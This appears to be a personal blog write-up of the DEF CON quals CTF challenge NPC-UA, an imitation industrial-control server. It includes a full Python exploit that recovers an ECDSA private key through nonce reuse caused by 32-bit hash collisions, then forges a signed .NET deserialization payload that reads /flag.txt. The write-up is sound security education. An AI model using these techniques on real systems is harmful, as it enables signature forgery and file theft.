20 KiB

Raw Blame History

defcon quals writeup: NPC-UA

earlier this month i got to play defcon quals with shellphish. it was overall a good time, but we unfortunately (likely) didn't qualify for finals, which ends a 20 year long streak of shellphish qualifying. this is very sad, but on the upside i get another year to cook my tooling (that i have not worked on for like months at this point) and won't have to make the tough choice of whether to spend my time playing CTF or like, actually being at defcon, so it's not all bad

NPC-UA is a .NET challenge that mimics the industry standard (apparently) OPC-UA protocol for communicating with industrial control systems. the high level overview of the exploit is combining an ECDSA nonce reuse vulnerability with a deserialization primitive to read out the flag file

a bit on tooling

for .NET stuff i tend to use (jetbrains) dotPeek, which has the unfortunate downside of being windows only (and closed source, boo...) but during the CTF i also was trying out AvaloniaILSpy and because i don't really want to boot up my windows VM right now this writeup is going to use that. it's a bit less polished than dotPeek but perfectly capable

challenge files

the original challenge file: ic_server.tar.gz
challenge source: https://github.com/Nautilus-Institute/quals-2024/tree/main/npc-ua

we have 2 main files of interest: npcua.nautilus.dll and crypto.nautilus.dll. we can load up all the dependencies and the 2 main files into ilspy (at once, so it can resolve the external calls). crypto is smaller so we'll look at it first

running the server

the server needs a few files and it's not obvious how to generate them so here's what you need

openssl ecparam -name secp256k1 -genkey -noout -out key.pem
openssl ec -in key.pem -pubout -out public.pem
echo "flag{TESTFLAG}" > flag.txt

now the provided docker file and run_on_socket.sh script can be used

`crypto.nautilus`

here's everything in this module

deterministic ECDSA

first of all, for a primer on elliptic curve cryptography and ECDSA see this writeup. yes, that post was made before i had a blog platform with mathML available. and i haven't gone back and changed it to use proper math now either. sorry,,

here's the code from ILSpy for DeterministicECDSA:

internal class DeterministicECDSA : IDsaKCalculator
{
    private readonly HMac hMac;

    public readonly byte[] K;

    public readonly byte[] V;

    private BigInteger n;

    public virtual bool IsDeterministic => true;

    public DeterministicECDSA(IDigest digest, uint HashCode)
    {
        hMac = new HMac(digest);
        V = new byte[hMac.GetMacSize()];
        K = new byte[hMac.GetMacSize()];
        n = BigInteger.Zero;
        byte[] bytes = BitConverter.GetBytes(HashCode);
        Buffer.BlockCopy(bytes, 0, V, 0, bytes.Length);
    }

    public virtual void Init(BigInteger n, SecureRandom random)
    {
        throw new InvalidOperationException("Operation not supported");
    }

    public void Init(BigInteger n, BigInteger d, byte[] message)
    {
        this.n = n;
        byte[] bytes = BitConverter.GetBytes((uint)d.GetHashCode());
        Buffer.BlockCopy(bytes, 0, K, 0, bytes.Length);
    }

    public virtual BigInteger NextK()
    {
        byte[] array = new byte[BigIntegers.GetUnsignedByteLength(n)];
        BigInteger bigInteger;
        while (true)
        {
            int num;
            for (int i = 0; i < array.Length; i += num)
            {
                hMac.BlockUpdate(V, 0, V.Length);
                hMac.DoFinal(V, 0);
                num = Math.Min(array.Length - i, V.Length);
                Array.Copy(V, 0, array, i, num);
            }
            bigInteger = BitsToInt(array);
            if (bigInteger.SignValue > 0 && bigInteger.CompareTo(n) < 0)
            {
                break;
            }
            hMac.BlockUpdate(V, 0, V.Length);
            hMac.Update(0);
            hMac.DoFinal(K, 0);
            hMac.Init(new KeyParameter(K));
            hMac.BlockUpdate(V, 0, V.Length);
            hMac.DoFinal(V, 0);
        }
        return bigInteger;
    }

    private BigInteger BitsToInt(byte[] t)
    {
        BigInteger bigInteger = new BigInteger(1, t);
        if (t.Length * 8 > n.BitLength)
        {
            bigInteger = bigInteger.ShiftRight(t.Length * 8 - n.BitLength);
        }
        return bigInteger;
    }
}

this implements deterministic ECDSA (RFC 6979), which is a scheme for computing ECDSA signatures without a source of cryptographic randomness available. in this case, the challenge is emulating an industrial control system type of scenario where having a good TRNG might not be guaranteed. RFC 6979 specifies how to generate the $k$ values needed for the signatures, which are normally required to be random. If different messages are signed with the same k and the same key, it becomes possible to recover the key using some simple modular arithmetic.

In RFC 6979, the procedure to generate k goes like this

Hash the message m to produce h_1 = H(m)
Initialize V = {01\ 01\ 01\ \dots\ 01}_{16} and K = {00\ 00\ 00\ \dots\ 00}_{16}
Compute K = \operatorname{HMAC}_K(V \parallel 00_{16} \parallel x \parallel h_1), where x is the private key
Do more HMAC computations to arrive at the final result k, this part is not important

The only input to this scheme that varies is the message hash, h_1. If you know m and therefore h_1, you still cannot guess k because it involves HMAC computations including the private key x. However, any k value calculated is unique per unique h_1.

With this knowledge let's look back at the constructor of the class

public DeterministicECDSA(IDigest digest, uint HashCode)
{
    // ...
    byte[] bytes = BitConverter.GetBytes(HashCode);
    Buffer.BlockCopy(bytes, 0, V, 0, bytes.Length);
}

The value used for V is a 32 bit hashcode. Normally, you'd use a cryptographic hash like SHA-2. The procedure here also departs from the RFC in some other ways. So let's look at where HashCode comes from

public class Crypto
{
    // ...

    public string SignString(string data)
    {
        uint hashCode = (uint)data.GetHashCode();
        ECPrivateKeyParameters parameters = (ECPrivateKeyParameters)keyPair.Private;
        DeterministicECDSA kCalculator = new DeterministicECDSA(new Sha256Digest(), hashCode);
        // ...
    }

    // ...
}

The hashCode is computed using the regular C# builtin GetHashCode function. Since it's only 32 bits and non-cryptographic, it should be possible to generate a collision and then use this to generate two signatures with identical k values. This can be used to recover the private key.

brute forcing

the official organizer solution has a convoluted Z3 script to compute a hash collision, but during the CTF we chose the much simpler approach of brute force, which also worked. the following code isn't the original script we developed because that one is a huge mess and kind of awful. instead, here's a much shorter and cleaned up solution

.NET uses a hashing function called "marvin32", and the implementation is located in the private System.Marvin module, so we will need to use reflection to be able to invoke it. additionally, since it uses a weird ref struct thing as a parameter (i don't know .NET and a lot of this is kind of annoying magic to me) so we have to use a delegate to call it via reflection

open System
open System.Runtime.InteropServices

let marvin = "".GetType().Assembly.GetType("System.Marvin")
(* obtain the MethodInfo for the 2-argument ComputeHash32 method *)
(* this is kind of hax, since the method we want happens to be the first one *)
(* i couldn't figure out another way to do this because of the weird ref struct fuckery *)
let computehash32 = marvin.GetMethods()[0]
type ComputeHash32 = delegate of ReadOnlySpan<byte> * uint64 -> int
let computehash32_delegate = computehash32.CreateDelegate<ComputeHash32>()

let seeded_hashcode (seed : uint64) (str : string) : int =
  let bytes = MemoryMarshal.AsBytes(str.AsSpan()) in
  computehash32_delegate.Invoke(bytes, seed)

now we're ready to brute force. this simply iterates over numbers and stores the hashcode of the stringified versions of those until a collision is found, at which point the colliding inputs are printed

let seed = Environment.GetEnvironmentVariable("SEED") |> UInt64.Parse

let rec search (candidates : Map<int, string>) (i : int) : unit =
  let j = i.ToString() in
  let hashcode = seeded_hashcode seed ("\"" + j + "\"") in
  match candidates.TryFind hashcode with
  | None -> search (candidates.Add(hashcode, j)) (i + 1)
  | Some value -> printfn "%s" value; printfn "%s" j
in
search (Map<int, string> []) 0

Microsoft OCaml is weird. i'm not sure i like it a huge amount, but i'd rather be writing this than directly writing Microsoft Java

let's try it out

nix-shell --pure -p dotnet-sdk --run 'env SEED=1337 dotnet run'

8654
49821

`npcua.nautilus`

this is the main module. i'm going to kind of gloss over reversing the code because at this point this blog post has been sitting in my drafts for literally an entire month. if you do the reversing you'll find that the server supports network commands to read and write values, which can be special server variables such as "npc://variable/environment" or reflected .NET values such as, well conveniently, "npc://system/Marvin/DefaultSeed". it also contains an import and export function which serializes and deserializes payloads which are signed using the functions we covered in crypto.nautilus. so the exploit strategy is to read out the current marvin hash seed, generate a collision, use that to forge a signature on an arbitrary deserialization payload, and hopefully get the flag

the full exploit

starting with some boilerplate

import ast
import binascii
from dataclasses import dataclass
from enum import IntEnum
import hashlib
import json
import os
import struct
import subprocess

from cryptography.hazmat.primitives.asymmetric.utils import decode_dss_signature
from cryptography.hazmat.primitives.serialization import load_pem_public_key, load_pem_private_key
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.exceptions import InvalidSignature
import nclib

def p32(x):
    return struct.pack("<I", x)

def u32(x):
    return struct.unpack("<I", x)[0]

these classes and functions convert between OPC-UA style messages and a convenient python data representation. there isn't like, a lot of interesting content here. the network protocol is nearly unrelated to the actual exploit, but we still need the code to be able to talk to the service

class AttributeId(IntEnum):
    NodeId = 1
    NodeClass = 2
    DisplayName = 4
    Description = 5
    Value = 13

class ServiceId(IntEnum):
    READ_SERVICE = 629
    WRITE_SERVICE = 630
    EXPORT_SERVICE = 631
    IMPORT_SERVICE = 632

def make_msg(type_, data):
    assert len(type_) == 3
    return type_ + b"\x00" + p32(len(data)+8) + data

def make_hello(endpoint: bytes):
    num = p32(0)
    serialized = num*5 + p32(len(endpoint)) + endpoint
    return make_msg(b"HEL", serialized)

@dataclass
class Message:
    type_: bytes
    reserved: bytes
    data: bytes

def read_msg(r) -> Message :
    type_ = r.readexactly(3)
    reserved = r.readexactly(1)
    length = r.readexactly(4)
    remaining_length = u32(length) - 8
    data = r.readexactly(remaining_length)
    return Message(type_, reserved, data)

def make_sec_msg_header():
    return (
            p32(0) # item
            + p32(0) # length1
            + p32(0) # length2
            + p32(0) # num1
            + p32(0) # num2
            + p32(0) # num3
            )
def make_msg_msg(service_id, json_):
    serialized = (
            make_sec_msg_header()
            + p32(0) # num1
            + p32(0) # num2
            + p32(0) # num3
            + p32(0) # num4
            + p32(service_id)
            + json.dumps(json_).encode()
            )
    return make_msg(b"MSG", serialized)

@dataclass
class SecMessage:
    send_sec: bool
    policy_uri: bytes
    pubkey: bytes
    rest: bytes

def parse_sec_msg(data):
    send_sec = bool(u32(data[0:4]))
    policy_uri_len = u32(data[4:8])
    policy_uri = data[8:8+policy_uri_len]
    i = 8 + policy_uri_len
    pubkey_length = u32(data[i:i+4]); i += 4
    pubkey = data[i:i+pubkey_length]; i += pubkey_length
    # next 3 dwords are zeros, I think
    rest = data[i + 3*4:]
    return SecMessage(
            send_sec=send_sec,
            policy_uri=policy_uri,
            pubkey=pubkey,
            rest=rest,
    )

@dataclass
class ServiceResponse:
    data: dict
    sec_msg: SecMessage

def read_service_response(r):
    msg = read_msg(r)
    sec_msg = parse_sec_msg(msg.data)
    response_data = json.loads(sec_msg.rest.decode())
    return ServiceResponse(response_data, sec_msg)

DEFAULT_HDR = {
    "authToken": "",
    "timestamp": 0,
    "requestHandle": 0,
    "returnDiagnostics": 1,
    "auditEntryId": "foo",
    "timeoutHint": 100,
}

this function creates a request to read out the marvin seed using the read functionality. using the URL "npc://system/Marvin/DefaultSeed" results in the service doing the reflection operations to read out a field from an arbitrary class in System.Private.CoreLib. this still works even if the class and field are private

def get_marvin_seed():
    r.send(make_msg_msg(ServiceId.READ_SERVICE, {
        "requestHeader": DEFAULT_HDR,
        "nodesToRead": [{
            # Crafts string "System.Private.CoreLib/System.foo/bar"
            # which will call assembly = Assembly.Load("System.Private.CoreLib)
            # then type = assembly.GetType("System.foo")
            # then property = type.GetProperty("bar")
            # then return property.GetValue(null, null).ToString()
            # since we asked for AttributeId.Value
            "nodeId": "npc://system/Marvin/DefaultSeed",
            "attributeId": AttributeId.Value,
        }]

    }))
    response = read_service_response(r)
    seed = int(ast.literal_eval(response.data["results"][0]["value"]["data"]))
    return seed

this implements the functionality to write a given value to the service and observe an ECDSA signature for that value. the signature is a simple ASN.1 object with the two parts r and s and it can be decoded using the cryptography package into python ints

def decode_signature(b64):
    r, s = decode_dss_signature(binascii.a2b_base64(b64))
    return r, s

def signature_oracle(data):
    r.send(make_msg_msg(ServiceId.WRITE_SERVICE, {
        "requestHeader": DEFAULT_HDR,
        "nodesToWrite": [{
            "nodeId": "npc://variable/environment",
            "attributeId": AttributeId.Value,
            "value": data,
        }]

    }))
    response = read_service_response(r)
    if response.data["results"][0]["statusCode"] != 0:
        raise Exception("failed to write!")
    r.send(make_msg_msg(ServiceId.READ_SERVICE, {
        "requestHeader": DEFAULT_HDR,
        "nodesToRead": [{
            "nodeId": "npc://variable/environment",
            "attributeId": AttributeId.Value,
        }]

    }))
    response = read_service_response(r)
    sig = response.data["results"][0]["value"]["signature"]
    return decode_signature(sig)

assuming we've cracked the private key, this function allows running an import operation with an arbitrary payload and creating a forged ECDSA signature for it

DEFAULT_CURVE = ec.SECP256K1()

def run_payload(recovered_d, payload):
    key = ec.derive_private_key(recovered_d, DEFAULT_CURVE)
    sig = key.sign(payload.encode('utf-16le'), ec.ECDSA(hashes.SHA256()))
    sig = binascii.b2a_base64(sig).decode()
    r.send(make_msg_msg(ServiceId.IMPORT_SERVICE, {
        "requestHeader": DEFAULT_HDR,
        "nodesToImport": [{
            "data": payload,
            "signature": sig,
        }]
    }))
    resp = read_service_response(r)
    print(resp.data)

this is a utility function to run our previous .NET program and generate some HashCode-colliding strings provided a given seed

def get_seed_colliders(seed):
    return subprocess.check_output(
        ["dotnet", "run"], env={"SEED": str(seed), **os.environ}) \
        .decode('utf-8').strip().split("\n")

finally, this function implements the nonce-reuse attack on ECDSA. we can factor out the common $k$ that was used from both signatures and then use that to recover the private key d. all operations here are modulo the order n of the curve group. m_1 and m_2 are the two messages, and r_1, s_1 and r_2, s_2 are the two observed signatures made with the k reuse. see also: ECDSA primer

# secp256k1
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

def recover_d(m1, r1, s1, m2, r2, s2):
    global n
    z1 = int.from_bytes(hashlib.sha256(m1).digest(), 'big')
    z2 = int.from_bytes(hashlib.sha256(m2).digest(), 'big')
    k = ((z2 - z1) * pow(s2 - s1, -1, n)) % n

    d = ((s1 * k - z1) * pow(r1, -1, n)) % n
    return d

now we put it all together. first, connect to the service, obtain the seed, generate collisions, and recover the private key

if __name__ == "__main__":
    r = nclib.Netcat("localhost:8081")
    print("connected")

    marvin_seed = get_marvin_seed()
    print("seed", marvin_seed)

    m1, m2 = get_seed_colliders(marvin_seed)
    print(f"m1: {m1!r}, m2: {m2!r}")

    r1, s1 = signature_oracle(m1)
    print("message 1 sig", r1, s1)
    r2, s2 = signature_oracle(m2)
    print("message 2 sig", r2, s2)

    d = recover_d(f'"{m1}"'.encode('utf-16le'), r1, s1, f'"{m2}"'.encode('utf-16le'), r2, s2)
    print("cracked the private key", d)

finally, generate and forge a signature for the payload. here, it turns out that the class (representing an F# closure) NPCUA+loadPublicKey of npcua.nautilus can be inserted into the payload to instantiate it with an arbitrary file path instead of the usual public key path. this will result in the public key contents being overwritten with the contents of the given file, and this can be read out on a subsequent read request

    payload = {
        "_flags": "subtype",
        "subtype": {
          "Case": "NamedType",
          "Name": "NPCUA+loadPublicKey@435",
          "Assembly": {
            "Name": "npcua.nautilus",
            "Version": "1.0.0.0",
            "Culture": "neutral",
            "PublicKeyToken": ""
          }
        },
        "instance": {
          "pubkeypath": "/flag.txt"
        }
    }

    payload = json.dumps(payload)
    print(payload)
    run_payload(d, payload)

now the next read request will contain the flag where the public key data should be

    r.send(make_msg_msg(ServiceId.READ_SERVICE, {
        "requestHeader": DEFAULT_HDR,
        "nodesToRead": [{
            "nodeId": "npc://variable/environment",
            "attributeId": AttributeId.Value,
        }]

    }))
    response = read_service_response(r)
    print(response.sec_msg.pubkey)